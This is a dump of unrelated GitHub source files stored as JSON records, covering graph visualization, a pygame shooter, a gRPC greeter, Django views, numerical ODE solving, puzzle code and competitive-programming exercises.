dashed, rounded, filled',\n                'color': 'blue'\n            }\n\n    gv_graph = make_gv_graph(actions_graph,\n                             vis_opts,\n                             clusterer_function=cluster_fun,\n                             cluster_attr_factory=cluster_attr_factory,\n                             node_label_factory=labels.get_action_vertex_label,\n                             node_attr_factory=styles.get_action_node_style)\n\n    _save_and_show(gv_graph, vis_opts, show_tmp_suffix=\"actions-graph\")\n\n\ndef render_pstree(process_tree,\n                  vis_opts=None,\n                  skip_tmp_resources=False,\n                  draw_fake_root=False):\n    \"\"\" Renders process tree\n\n    :param process_tree: process tree (ProcessTreeConcept)\n    :type process_tree: ProcessTreeConcept\n    :param vis_opts: visualization options\n    :type vis_opts: VisualizeOptions\n    :param skip_tmp_resources: if True, no temporary resources rendered\n    :param draw_fake_root: if True, then process tree root is drawn\n    \"\"\"\n    from process_label import get_proc_label\n\n    if draw_fake_root:\n        filtered_pstree = process_tree\n    else:\n        filtered_pstree = graph_util.VertexFilteredGraph(process_tree,\n                                                         vertex_filter=lambda v: v != process_tree.root_process)\n\n    gv_graph = make_gv_graph(filtered_pstree,\n                             vis_opts=vis_opts,\n                             base_node_attr=styles.get_process_node_style(),\n                             node_label_factory=functools.partial(get_proc_label, no_tmp=skip_tmp_resources))\n\n    _save_and_show(gv_graph, vis_opts, show_tmp_suffix=\"actions-list\")\n\n\ndef render_actions_list(actions_list, vis_opts=None):\n    \"\"\" Renders given actions list as a node sequence with arrows from i to i + 1\n\n    :param actions_list: list of actions\n    :param vis_opts: visualization options\n    :type vis_opts: VisualizeOptions\n    \"\"\"\n    graph = graph_util.make_chain_graph(actions_list)\n    gv_graph = make_gv_graph(graph, vis_opts,\n                             node_label_factory=labels.get_action_vertex_label,\n                             node_attr_factory=styles.get_action_node_style)\n\n    _save_and_show(gv_graph, vis_opts, show_tmp_suffix=\"actions-list\")\n\n\ndef render_actions_cycle(cycle, vis_opts):\n    \"\"\" Renders given actions list as a cycle\n\n    :param cycle: list of actions\n    :param vis_opts: visualization options\n    :type vis_opts: VisualizeOptions\n    \"\"\"\n\n    graph = graph_util.make_cycle_graph(cycle)\n    vis_opts.engine = 'circo'\n    gv_graph = make_gv_graph(graph, vis_opts,\n                             node_label_factory=labels.get_action_vertex_label,\n                             node_attr_factory=styles.get_action_node_style)\n\n    _save_and_show(gv_graph, vis_opts, show_tmp_suffix=\"actions-cycle\")\n\n\ndef _save_and_show(gv_graph, vis_opts, show_tmp_suffix=\"tmp-graph\"):\n    \"\"\"\n    :type gv_graph: gv.dot.Dot\n    :type vis_opts: VisualizeOptions\n    \"\"\"\n\n    if vis_opts.output_file:\n        gv_graph.render(filename=vis_opts.output_type)\n\n    if not vis_opts.output_file or vis_opts.do_show:\n        gvboost.show_gv_graph(gv_graph, show_tmp_suffix)\n","repo_name":"egorbunov/criugen","sub_path":"generator/visualize/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":7321,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"20472530910","text":"#Создай собственный Шутер!\n\nfrom pygame import *\nfrom random import *\nfrom time import time as timer \n\n\nclass GameSprite (sprite.Sprite):\n    def __init__ (self, player_image, player_x, player_y, size_x, size_y, player_speed):\n        super().__init__()\n        #каждый спрайт должен хранить свойство image - изображение\n        self.image = transform.scale(image.load(player_image), (size_x, size_y))\n        self.speed = player_speed\n        #каждый спрайт должен хранить свойство rect - прямоугольник, в который он вписан\n        self.rect = self.image.get_rect()\n        self.rect.x = player_x\n        self.rect.y = player_y\n\n    def reset (self):\n        window.blit(self.image,(self.rect.x, self.rect.y)) \n\nclass Player(GameSprite):\n    def update(self):\n        keys = key.get_pressed()\n        if keys[K_LEFT] and self.rect.x > 5:\n            self.rect.x -= self.speed\n        if keys[K_RIGHT] and self.rect.x < width - 50:\n            self.rect.x += self.speed\n        '''if keys[K_UP] and self.rect.y > 5:\n            self.rect.y -= self.speed\n        if keys[K_DOWN] and self.rect.y < height - 50:\n            self.rect.y += self.speed'''\n\n    def fire (self):\n        bullet = Bullet('bullet.png', self.rect.centerx, self.rect.top, 15, 20, -15)\n        bullets.add(bullet)\n\nclass Enemy (GameSprite):\n    def update(self):\n        self.rect.y += self.speed\n        global lost\n        if  self.rect.y > height:\n            self.rect.y = 0\n            self.rect.x = randint(50, width-50)\n            lost = lost + 1\n\nclass Bullet (GameSprite):\n    def update(self):\n        self.rect.y += self.speed\n        if  self.rect.y > height:\n            self.kill()\n\n#окно\nwidth = 700\nheight = 500\nwindow = display.set_mode((width, height))\ndisplay.set_caption(\"Шутер\")\nbackground = transform.scale(image.load('galaxy.jpg'), (700, 500))\nrun = True\nfinish = False\nrel_time = False\nnum_fire = 0\nFPS = 60\ncount = 0\nlife = 3\nfont.init()\nfont1 = font.SysFont('Arial', 36)\n\nwin = font1.render('Ты выйграл!', True, (255, 255, 255))\nlose = font1.render('Ты проиграл!', True, (255, 0, 0))\n\n#музыка\nmixer.init()\nmixer.music.load('space.ogg')\nmixer.music.play()\nlost = 0\nplayer = Player('rocket.png', width/2, height-80, 65, 65, 10)\nbullets = sprite.Group()\nfire_sound = mixer.Sound('fire.ogg')\n\nasteroids = sprite.Group()\nfor i in range (1, 6):\n    asteroid = Enemy('asteroid.png', randint(50, width-50), -40, 80, 50, randint (1,7))\n    asteroids.add(asteroid)\n\n\nmonsters = sprite.Group()\nfor i in range (1, 6):\n    monster = Enemy('ufo.png', randint(50, width-50), -40, 80, 50, randint (1,7))\n    monsters.add(monster)\n\nfont.init()\nfont1 = font.SysFont('Arial', 36)\n\nwhile run:\n    for e in event.get():\n        if e.type == QUIT:\n            run = False\n        elif e.type == KEYDOWN:\n            if e.key == K_SPACE:\n                \n                if num_fire < 5 and rel_time == False:\n                    num_fire += 1\n                    player.fire()\n                    fire_sound.play()\n\n                if num_fire >= 5 and rel_time == False:\n                    last_time = timer()\n                    rel_time = True \n\n\n    if finish != True: \n        window.blit(background, (0,0))\n\n        text_win = font1.render('Счёт: ' + str(count), 1, (255, 255, 255))\n        window.blit(text_win, (10, 20))\n\n        text_lose  =  font1.render('Пропущено: ' + str(lost), 1, (255, 255, 255))\n        window.blit(text_lose, (10, 50))\n\n        text_life  =  font1.render('Жизней: ' + str(life), 1, (255, 255, 255))\n        window.blit(text_life, (10, 80))\n\n        bullets.update()\n        player.update()\n        monsters.update()\n        asteroids.update()\n        player.reset()\n        monsters.draw(window)\n        asteroids.draw(window)\n        bullets.draw(window)\n\n        if rel_time == True:\n            now_time = timer()\n\n            if now_time - last_time < 3:\n                text_reload = font1.render('Идёт перезагрузка... ', 1, (255, 255, 255))\n                window.blit(text_reload, (250, 350))\n            else:\n                num_fire = 0\n                rel_time = False\n\n        \n        collides = sprite.groupcollide(monsters, bullets, True, True)\n        for c in collides:\n            count = count + 1\n            monster = Enemy('ufo.png', randint(50, width-50), -40, 80, 50, randint (1,7))\n            monsters.add(monster)\n        \n        '''если коснулись'''\n        if sprite.spritecollide(player, monsters, False) or sprite.spritecollide(player, asteroids, False):\n            sprite.spritecollide(player, monsters, True)\n            sprite.spritecollide(player, asteroids, True)\n            life -= 1\n\n\n        '''если проиграли'''\n        if life == 0 or lost > 10:\n            finish = True\n            window.blit(lose, (200, 200))\n        '''победа'''\n        if count >= 10:\n            finish = True\n            window.blit(win, (200, 200))\n\n\n\n\n    display.update()\n    time.delay(50)","repo_name":"catloc/ShooterGame","sub_path":"shooter_game.py","file_name":"shooter_game.py","file_ext":"py","file_size_in_byte":5153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13315204865","text":"from abc import ABC, abstractmethod\n\nimport Levenshtein\nimport networkx as nx\n\n\nclass GraphAnalyzer(ABC):\n    def __init__(self, directory_path, output_file_path):\n        self.directory_path = directory_path\n        self.graph = None\n        self._generate_and_load_graph(output_file_path)\n\n    # Abstract methods\n    @abstractmethod\n    def _generate_and_load_graph(self, output_filename):\n        pass\n\n    # Private helper methods\n    def _check_node_exists(self, node_name):\n        if node_name not in self.graph:\n            raise ValueError(f\"Node with name '{node_name}' not found in the graph.\")\n\n    def _generate_hierarchical_structure(self, node, graph, visited=None):\n        if visited is None:\n            visited = set()\n        if node in visited:\n            return {node: \"CYCLE\"}\n        visited.add(node)\n        structure = {}\n        for successor in graph.successors(node):\n            structure[successor] = self._generate_hierarchical_structure(\n                successor, graph, visited.copy()\n            )\n        return structure\n\n    # Graph manipulation methods\n    def set_graph(self, graph):\n        self.graph = graph\n\n    # Node relationship methods\n    def get_children(self, node_name):\n        self._check_node_exists(node_name)\n        return list(self.graph.successors(node_name))\n\n    def get_parents(self, node_name):\n        self._check_node_exists(node_name)\n        return list(self.graph.predecessors(node_name))\n\n    def get_children_by_depth(self, node_name, depth):\n        if depth < 1:\n            return []\n        children = self.get_children(node_name)\n        for child in list(children):\n            children.extend(self.get_children_by_depth(child, depth - 1))\n        return list(set(children))\n\n    def get_parents_by_depth(self, node_name, depth):\n        if depth < 1:\n            return []\n        parents = self.get_parents(node_name)\n        for parent in list(parents):\n            parents.extend(self.get_parents_by_depth(parent, depth - 1))\n        return list(set(parents))\n\n    # Node search and representation methods\n    def search_by_node_name(self, node_name):\n        if node_name in self.graph:\n            return {\"name\": node_name, \"attributes\": self.graph.nodes[node_name]}\n        return None\n\n    def fuzzy_search_by_node_name(self, search_term):\n        \"\"\"\n        Fuzzy search for nodes by name or attributes using Levenshtein distance.\n\n        Parameters:\n            - search_term (str): The term to search for.\n\n        Returns:\n            - List of tuples where each tuple contains a node name and its distance to the search term.\n              Returns the top 3 nodes with the smallest distances.\n        \"\"\"\n        distances = []\n\n        for node, attributes in self.graph.nodes(data=True):\n            # Check distance with node name\n            node_distance = Levenshtein.distance(node, search_term)\n            distances.append((node, node_distance))\n\n            # Check distance with node attributes\n            for attribute, value in attributes.items():\n                if isinstance(value, str):\n                    attr_distance = Levenshtein.distance(value, search_term)\n                    distances.append((node, attr_distance))\n\n        # Sort by distance and pick the top 3 nodes\n        distances.sort(key=lambda x: x[1])\n        return distances[:3]\n\n    def represent_node_hierarchy(\n        self, node, child_levels=None, parent_levels=None, visited=None\n    ):\n        if visited is None:\n            visited = set()\n        if node in visited:\n            return {node: \"CYCLE\"}\n        visited.add(node)\n\n        structure = {}\n\n        if parent_levels is not None:\n            structure[\"parents\"] = self._get_parents_structure(\n                node, parent_levels, visited.copy()\n            )\n\n        if child_levels is not None:\n            structure[\"children\"] = self._get_children_structure(\n                node, child_levels, visited.copy()\n            )\n\n        # Filter out empty keys for clarity\n        return {node: {k: v for k, v in structure.items() if v}}\n\n    def _get_parents_structure(self, node, levels, visited):\n        if levels == 0:\n            return {}\n\n        parents_structure = {}\n        for parent in self.graph.predecessors(node):\n            parents_structure[parent] = self.represent_node_hierarchy(\n                parent,\n                child_levels=None,\n                parent_levels=(levels - 1),\n                visited=visited.copy(),\n            )\n\n        return parents_structure\n\n    def _get_children_structure(self, node, levels, visited):\n        if levels == 0:\n            return {}\n\n        children_structure = {}\n        for child in self.graph.successors(node):\n            children_structure[child] = self.represent_node_hierarchy(\n                child,\n                child_levels=(levels - 1),\n                parent_levels=None,\n                visited=visited.copy(),\n            )\n\n        return children_structure\n\n    def generate_text_representation(self, graph):\n        hierarchical_representations = {}\n        for node in graph.nodes():\n            if not list(graph.predecessors(node)):\n                hierarchical_representations[\n                    node\n                ] = self._generate_hierarchical_structure(node, graph)\n        return hierarchical_representations\n\n    # Graph generation methods\n    def _generate_graph_by_attribute(self, attribute):\n        new_graph = nx.DiGraph()\n        for node, attributes in self.graph.nodes(data=True):\n            current_attr = attributes.get(attribute)\n            if not current_attr:\n                continue\n            if current_attr not in new_graph:\n                new_graph.add_node(current_attr)\n            for child in self.graph.successors(node):\n                child_attr = self.graph.nodes[child].get(attribute)\n                if child_attr and child_attr != current_attr:\n                    new_graph.add_edge(current_attr, child_attr)\n        return new_graph\n","repo_name":"shruti222patel/repo-gpt","sub_path":"src/repo_gpt/codebase_analyzer/graph_analyzer.py","file_name":"graph_analyzer.py","file_ext":"py","file_size_in_byte":6029,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"35433998868","text":"import concurrent.futures\nimport logging\nimport time\nimport grpc\n\nfrom . import helloworld_pb2\nfrom . import helloworld_pb2_grpc\n\n_ONE_DAY_IN_SECONDS = 60 * 60 * 24\n\n\nclass Greeter(helloworld_pb2_grpc.GreeterServicer):\n    def SayHello(self, request, context):\n        return helloworld_pb2.HelloReply(message=\"Hello, %s!\" % request.name.title())\n\n\ndef serve():\n    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executer:\n        server = grpc.server(executer)\n        helloworld_pb2_grpc.add_GreeterServicer_to_server(Greeter(), server)\n        server.add_insecure_port(\"[::]:50051\")\n        server.start()\n\n        try:\n            while True:\n                time.sleep(_ONE_DAY_IN_SECONDS)\n        except KeyboardInterrupt:\n            server.stop(0)\n\n\nif __name__ == \"__main__\":\n    logging.basicConfig()\n    serve()\n","repo_name":"aita/hello-py-k8s-envoy-example","sub_path":"hello-py/hello/greeter_server.py","file_name":"greeter_server.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33596360250","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path(\"signup/\", views.UserSignup.as_view(), name=\"user-signup\"),\n    path(\"signin/\", views.UserSignin.as_view(), name=\"user-signin\"),\n    path(\"profile/\", views.MyProfile.as_view(), name=\"user-profile\"),\n    path(\"profile/<username>/\", views.UserProfile.as_view(), name=\"user-profile\"),\n    path(\"logout/\", views.UserLogout.as_view(), name=\"user-logout\"),\n    path(\"follow/\", views.UserRelation.as_view(), name=\"relations\"),\n    path(\"posts/\", views.Posts.as_view(), name=\"posts\"),\n    path(\"posts/<int:page>/<int:offset>/\", views.Posts.as_view(), name=\"posts\"),\n    path(\"posts/<int:page>/<int:offset>/<username>/\", views.Posts.as_view(), name=\"my-posts\"),\n    path(\"test/\", views.test, name=\"test\")\n]","repo_name":"nikitarub/iu7-web-backend","sub_path":"lobster_backend/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73485831780","text":"\"\"\"\n100 prisoners go into a room, each is numbered, in the room\nis a series of draws with their numbers randomly shuffled in them.\nFind a strategy where there is good odds of them all getting\ntheir number.\n\"\"\"\nimport math\nimport itertools\n\n\ndef tiled_is_valid_perm(perm):\n    n = len(perm)\n    assert n % 2 == 0\n    half = n // 2\n\n    def is_idx_valid(i):\n        for j in range(half):\n            if i == perm[(i + j) % n]:\n                return True\n        return False\n\n    return all(is_idx_valid(i) for i in perm)\n\n\ndef two_groups_is_valid_perm(perm):\n    n = len(perm)\n    assert n % 2 == 0\n    half = n // 2\n\n    def is_idx_valid(i):\n        if i < half:\n            return i in perm[:half]\n        else:\n            return i in perm[half:]\n\n    return all(is_idx_valid(i) for i in perm)\n\n\n# fat_tiled\ndef double_tiled_is_valid_perm(perm):\n    n = len(perm)\n    assert n % 2 == 0\n    half = n // 2\n\n    def is_idx_valid(i):\n        start = i - i % 2\n        for j in range(half):\n            if i == perm[(start + j) % n]:\n                return True\n        return False\n\n    return all(is_idx_valid(i) for i in perm)\n\n\n# # Something like lots of tranpositions\n# def is_valid_perm(perm):\n#     n = len(perm)\n#     assert n % 2 == 0\n#     half = n // 2\n\n#     def is_idx_valid(i):\n#         start = i - i % 2\n#         found = False\n#         for j in range(half):\n#             if i == perm[(start + j) % n]:\n#                 found = True\n#         return found\n\n#     return all([is_idx_valid(i) for i in perm])\n\n\ndef transform_perm(perm):\n    return [x + 1 for x in perm]\n\n\nif __name__ == \"__main__\":\n    # is_valid_perm(range(6))\n    ns = [4, 6, 8, 10]\n    for n in ns:\n        nums = list(range(n))\n        perms = itertools.permutations(nums)\n        num_valid_perms = sum(1 for perm in perms if is_valid_perm(perm))\n        prob = num_valid_perms / math.factorial(n)\n        print(f\"n: {n} num valid perms: {num_valid_perms} prob {prob:.6f}\")\n\n    # nums = list(range(6))\n    # perms = itertools.permutations(nums)\n    # valid_perms = [perm for perm in perms if is_valid_perm(perm)]\n    # valid_perms = [transform_perm(perm) for perm in valid_perms]\n    # for perm in valid_perms:\n    #     print(perm)\n","repo_name":"AusCoder/junk","sub_path":"algos/python/src/problems/prisoner_guessing_game.py","file_name":"prisoner_guessing_game.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22116642682","text":"from django.shortcuts import render\nfrom django.http import Http404\nfrom django.shortcuts import get_list_or_404\nfrom .models import Livre\nfrom categorie.models import Categorie\nimport re\n\n# Create your views here.\n\n\ndef listLivre(request):\n\n    listLivre = Livre.objects.all()\n    context = {\n        'listLivre':listLivre ,\n    }\n\n    return render(request , 'index.html' , context)\n\ndef detLivre(request , id):\n\n    try:\n        if request.session['idcl'] != None:\n            detLivre = Livre.objects.get(id=id)\n            context = {\n                'detLivre':detLivre ,\n            }\n            return render(request , 'details.html' , context)\n\n    except KeyError:\n        return render(request, 'signin.html')\n\ndef LivreCat(request , id):\n\n    cat = Categorie.objects.get(id=id)\n    listLivre = Livre.objects.filter(categorie = cat)\n    #cat = Categorie.objects.get(id=idcat)\n    context = {\n      'listLivre':listLivre,\n      'cat':cat,\n    }\n    return render(request, 'Categorie.html', context)\n\ndef Search(request):\n    mot = request.POST.get('search')\n\n    if mot:\n        results = []\n        article_list = get_list_or_404(Livre)\n        for article in article_list:\n            if re.findall(mot, article.titre):\n                results.append(article)\n        '''for article in results:\n            article.body = markdown.markdown(article.body, )\n        tag_list = Tag.objects.all().order_by('name')'''\n\n        return render(request, 'search.html', {'article_list': results})\n    else:\n        return listLivre(request)\n","repo_name":"elbozidiabdennacer/Django-project","sub_path":"src/livre/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20186973871","text":"import pytest\nfrom airbyte_cdk.models.airbyte_protocol import AdvancedAuth, ConnectorSpecification\nfrom airbyte_cdk.sources.declarative.models.declarative_component_schema import AuthFlow\nfrom airbyte_cdk.sources.declarative.spec.spec import Spec\n\n\n@pytest.mark.parametrize(\n    \"test_name, spec, expected_connection_specification\",\n    [\n        (\n            \"test_only_connection_specification\",\n            Spec(connection_specification={\"client_id\": \"my_client_id\"}, parameters={}),\n            ConnectorSpecification(connectionSpecification={\"client_id\": \"my_client_id\"}),\n        ),\n        (\n            \"test_with_doc_url\",\n            Spec(connection_specification={\"client_id\": \"my_client_id\"}, parameters={}, documentation_url=\"https://airbyte.io\"),\n            ConnectorSpecification(connectionSpecification={\"client_id\": \"my_client_id\"}, documentationUrl=\"https://airbyte.io\"),\n        ),\n        (\n            \"test_auth_flow\",\n            Spec(connection_specification={\"client_id\": \"my_client_id\"}, parameters={}, advanced_auth=AuthFlow(auth_flow_type=\"oauth2.0\")),\n            ConnectorSpecification(\n                connectionSpecification={\"client_id\": \"my_client_id\"}, advanced_auth=AdvancedAuth(auth_flow_type=\"oauth2.0\")\n            ),\n        ),\n    ],\n)\ndef test_spec(test_name, spec, expected_connection_specification):\n    assert spec.generate_spec() == expected_connection_specification\n","repo_name":"airbytehq/airbyte","sub_path":"airbyte-cdk/python/unit_tests/sources/declarative/spec/test_spec.py","file_name":"test_spec.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":12323,"dataset":"github-code","pt":"35"}
{"seq_id":"15480851151","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import odeint\n\n# =========================================================================\n# Используя программу задачи  2.1. , найти решения задач  Коши  для  ОДУ\n# 1 порядка (2.1) и (2.2)  на отрезке   с заданной точностью .  Построить\n# графики решений и найти наибольшую площадь, заключенную между интегральными\n# кривыми.\n# (2.1) y' = k(A - y)(y - B)              ; y(0) = y[0]\n# (2.2) y' = k(A - z)(z - B) - C*sin(t/w) ; z(0) = z[0] = y[0]\n\n\n# ==========================[Global Variables]=============================\n\ny0 = 58\nT = 40\nA = 60\nB = 18\nC = 3\nw = 3\nK = 0.04\nt0 = 0\n\neps = 10 ** (-8)\n\n\n# ==========================[Global Functions]=============================\n\ndef f1(y, t):\n    return K * (A - y) * (y - B)\n\n\ndef f2(z, t):\n    return K * (A - z) * (z - B) - C * np.sin(t / w)\n\n\ndef Runge(first, second, p):\n    return abs((first - second) / ((2 ** p) - 1))\n\n\ndef Taylor(y0, t0, h, f, dt, dy):\n    return y0 + h * f(y0, t0) + ((h ** 2) / 2) * (dt(y0, t0) + dy(y0, t0) * f(y0, t0))\n\n\ndef TaylorCalculate(y0, t0, h, f, T, dt, dy):\n    x = np.arange(t0, T + h, h)\n    quantity = x.size\n    prev = y0\n    array = np.zeros(quantity)\n    array[0] = y0\n\n    for i in range(0, quantity - 1):\n        prev = Taylor(prev, t0, h, f, dt, dy)\n        t0 += h\n        array[i + 1] = prev\n\n    return array, x\n\n\n# ==============================[Task 2.2]=================================\n# Найти  приближенные решения задач (2.1) и (2.2).\n# Построить графики полученных решений y(t) и z(t).\n\ndef dt_f1(y, t):\n    return 0\n\n\ndef dy_f1(y, t):\n    return 3.12 - 0.08 * y\n\n\ndef dt_f2(z, t):\n    return -np.cos(t / 3)\n\n\ndef dy_f2(z, t):\n    return 3.12 - 0.08 * z\n\n\nh = 0.1\n\nfirst = np.zeros(0)\nfirst_h_div_2 = np.zeros(0)\n\nfirst_num = 0\nfirst_num_div_2 = 0\nprecise = 1.0\n\nwhile (precise >= eps):\n    first, first_num = TaylorCalculate(y0, t0, h, f1, T, dt_f1, dy_f1)\n    h = h / 2\n    first_h_div_2, first_num_div_2 = TaylorCalculate(y0, t0, h, f1, T, dt_f1, dy_f1)\n    precision = np.zeros(first_num.size)\n\n    for i in range(0, first_num.size - 1):\n        precision[i] = Runge(first_h_div_2[i * 2], first[i], 2)\n\n    precise = np.amax(precision)\n\n\nprint('==========[Task 2.2]==========')\nprint('Precision     :', precise)\nprint('Number of dots:', first_num_div_2.size)\nprint('Step          :', h)\n\n\nsecond = np.zeros(0)\nsecond_h_div_2 = np.zeros(0)\n\nsecond_num = 0\nsecond_num_div_2 = 0\nprecise = 1.0\nh = 0.1\n\nwhile (precise >= eps):\n    second, second_num = TaylorCalculate(y0, t0, h, f2, T, dt_f2, dy_f2)\n    h = h / 2\n    second_h_div_2, second_num_div_2 = TaylorCalculate(y0, t0, h, f2, T, dt_f2, dy_f2)\n    precision = np.zeros(second_num.size)\n\n    for i in range(0, second_num.size - 1):\n        precision[i] = Runge(second_h_div_2[i * 2], second[i], 2)\n\n    precise = np.amax(precision)\n\nprint('==========[Task 2.2]==========')\nprint('Precision     :', precise)\nprint('Number of dots:', second_num_div_2.size)\nprint('Step          :', h)\n\nx = np.linspace(t0, T + 1, 100, endpoint=True)\nplt.plot(first_num_div_2, first_h_div_2, label=\"y(t)\", color='black')\nplt.plot(second_num_div_2, second_h_div_2, ls=':', label=\"z(t)\", color='magenta')\nplt.legend()\nplt.grid('True')\nplt.savefig(\"pic_4.png\", dpi = 500)\nplt.show()\n\nx_plot = np.linspace(0, T, 100)\n\nsolution_1 = odeint(f1, y0, x_plot)\nsolution_2 = odeint(f2, y0, x_plot)\n\nplt.plot(x_plot, solution_1, ls='-', label='y(t)')\nplt.plot(x_plot, solution_2, ls=':', label='z(t)')\nplt.legend()\nplt.grid('True')\nplt.savefig(\"pic_5.png\", dpi = 500)\nplt.show()\n\n# ==============================[Task 2.3]=================================\n# Вычислить приближенно площади между полученными кривыми на отрезке\n# по квадратурной формуле индивидуального варианта ЛР 1\n\ny_dots = np.zeros(0)\nx_dots = np.zeros(0)\nx_indexes = []\ncount = 0\n\n# Находим точки пересечения\n\ndifference = first_h_div_2 - second_h_div_2\n# True = -1 ; False = 1\nsign = True\n\nfor i in range(1, difference.size):\n    if difference[i] > 0 and sign:\n        y_dots = np.append(y_dots, first_h_div_2[i])\n        x_dots = np.append(x_dots, first_num_div_2[i])\n        x_indexes.append(i)\n        count += 1\n        sign = False\n\n    if difference[i] < 0 and not sign:\n        y_dots = np.append(y_dots, first_h_div_2[i])\n        x_dots = np.append(x_dots, first_num_div_2[i])\n        x_indexes.append(i)\n        count += 1\n        sign = True\n\nprint('==========[Task 2.3]==========')\nprint('Number of intersections: ', count)\nprint('y axis coordinates     :', y_dots)\nprint('x axis coordinates     :', x_dots)\nprint('Indexes                :', x_indexes)\n\n\n# Правило центральных треугольников\n#\n# def midpointRule(f, a, b, step):\n#     answer = 0\n#     n = int((b - a) / step)\n#     for i in range(0, n):\n#         answer += f(a + step * (i + 0.5)) * step\n#     return answer\n\ndef midpointRule(y, a, b, step, start, end):\n    answer = 0\n    n = int((b - a) / step)\n    for i in range(start + 1, end):\n        answer += (y[i - 1] + y[i]) / 2\n    return answer * step\n\n\nareas = np.zeros(0)\n\nfor i in range(1, x_dots.size):\n    one = midpointRule(first_h_div_2, x_dots[i - 1], x_dots[i], h, x_indexes[i - 1], x_indexes[i])\n    two = midpointRule(second_h_div_2, x_dots[i - 1], x_dots[i], h, x_indexes[i - 1], x_indexes[i])\n\n    areas = np.append(areas, abs(one - two))\n\nprint('==========[Max Area]==========')\nprint('Areas     :', areas)\nprint('Max. area :',np.amax(areas))\n","repo_name":"chernovdmitrii/code_samples","sub_path":"Numerical Analysis/Programs/Lab_2/main_2.py","file_name":"main_2.py","file_ext":"py","file_size_in_byte":5844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38897737017","text":"s = input() \r\nt = [] \r\n \r\nfor i in range(len(s)): \r\n    if s[i] == '[' or s[i] == '(' or s[i] == '{': \r\n        t.append(s[i]) \r\n    else: \r\n        if len(t) == 0: \r\n            print(\"No\") \r\n            exit() \r\n        t_top = t[len(t)-1] \r\n        if s[i] == ')' and t_top != '(' or s[i] == ']' and t_top != '[' or s[i] == '}' and t_top != '{': \r\n            print(\"No\") \r\n            exit() \r\n        t.pop() \r\n \r\nif len(t) != 0: \r\n    print(\"No\") \r\nelse: \r\n    print(\"Yes\")","repo_name":"Moldaspan/PP2_Spring_KBTU","sub_path":"LAB2/l.py","file_name":"l.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29232585883","text":"t = int(input())\n\nwhile t > 0:\n\n    gift_num = int(input())\n    a = map(int, input().split())\n    a = list(a)\n    b = map(int, input().split())\n    b = list(b)\n\n    min_a = min(a)\n    min_b = min(b)\n    cont = 0\n\n    for i in range(gift_num):\n        if a[i] > min_a and b[i] > min_b:\n            temp_a = a[i] - min_a\n            temp_b = b[i] - min_b\n            if temp_a == temp_b:\n                a[i] -= temp_a\n                b[i] -= temp_b\n                cont += temp_b\n            elif temp_a > temp_b:\n                a[i] -= temp_b\n                b[i] -= temp_b\n                cont += temp_b\n            elif temp_a < temp_b:\n                a[i] -= temp_a\n                b[i] -= temp_a\n                cont += temp_a\n\n        while a[i] > min_a or b[i] > min_b:\n            if a[i] > min_a:\n                temp = a[i] - min_a\n                a[i] -= temp\n                cont += temp\n            elif b[i] > min_b:\n                temp = b[i] - min_b\n                b[i] -= temp\n                cont += temp\n    print(cont)\n\n    t -= 1\n","repo_name":"himu999/CODEFORCES","sub_path":"1399B_Gifts Fixing.py","file_name":"1399B_Gifts Fixing.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22675162120","text":"import csv\nimport pandas as pd\n\ndf = pd.DataFrame(list())\ndf.to_csv('mean_for_each_genre.csv')\n\ngenre2id = {}\nid2genre = {}\nartist2genre = {}\ngenres = [\"\"]\n\nn = 0\nwith open('influence_data.csv') as file:\n\treader = csv.reader(file)\n\tfor row in reader:\n\t\ttry:\n\t\t\tx = int(row[0])\n\t\t\tif not row[2] in genre2id:\n\t\t\t\tgenre2id[row[2]] = n\n\t\t\t\tid2genre[n] = row[2]\n\t\t\t\tgenres.append(row[2])\n\t\t\t\tn += 1\n\t\t\tartist2genre[row[1]] = genre2id[row[2]]\n\t\t\tartist2genre[row[5]] = genre2id[row[6]]\n\t\texcept:\n\t\t\tpass\n\n# print(artist2genre)\n\nartist2id = {}\nid2artist = {}\nid2index = {}\nindex2id = {}\n\nm = 0\nwith open('data_by_artist.csv') as file:\n\treader = csv.reader(file)\n\tfor row in reader:\n\t\ttry:\n\t\t\tartist2id[row[0]] = int(row[1])\n\t\t\tid2artist[int(row[1])] = row[0]\n\t\t\tid2index[int(row[1])] = m\n\t\t\tindex2id[m] = int(row[1])\n\t\t\tm += 1\n\t\texcept:\n\t\t\tpass\n\ngenre_mean = [0] * n\ngenre_num = [0] * n\nproperties = [\"\"]\nfor i in range(n):\n\tgenre_mean[i] = [0] * 12\nwith open('full_music_data_transformed.csv') as file:\n\treader = csv.reader(file)\n\tfor row in reader:\n\t\ttry:\n\t\t\tartists = row[0][1:len(row[0])-1]\n\t\t\tartists = artists.split(\", \")\n\t\t\t# print(artists)\n\t\t\tfor artistId in artists:\n\t\t\t\tif not id2artist[int(artistId)] in artist2genre:\n\t\t\t\t\tcontinue\n\t\t\t\tg = artist2genre[id2artist[int(artistId)]]\n\t\t\t\tgenre_num[g] += 1\n\t\t\t\tfor j in range(12):\n\t\t\t\t\tgenre_mean[g][j] += 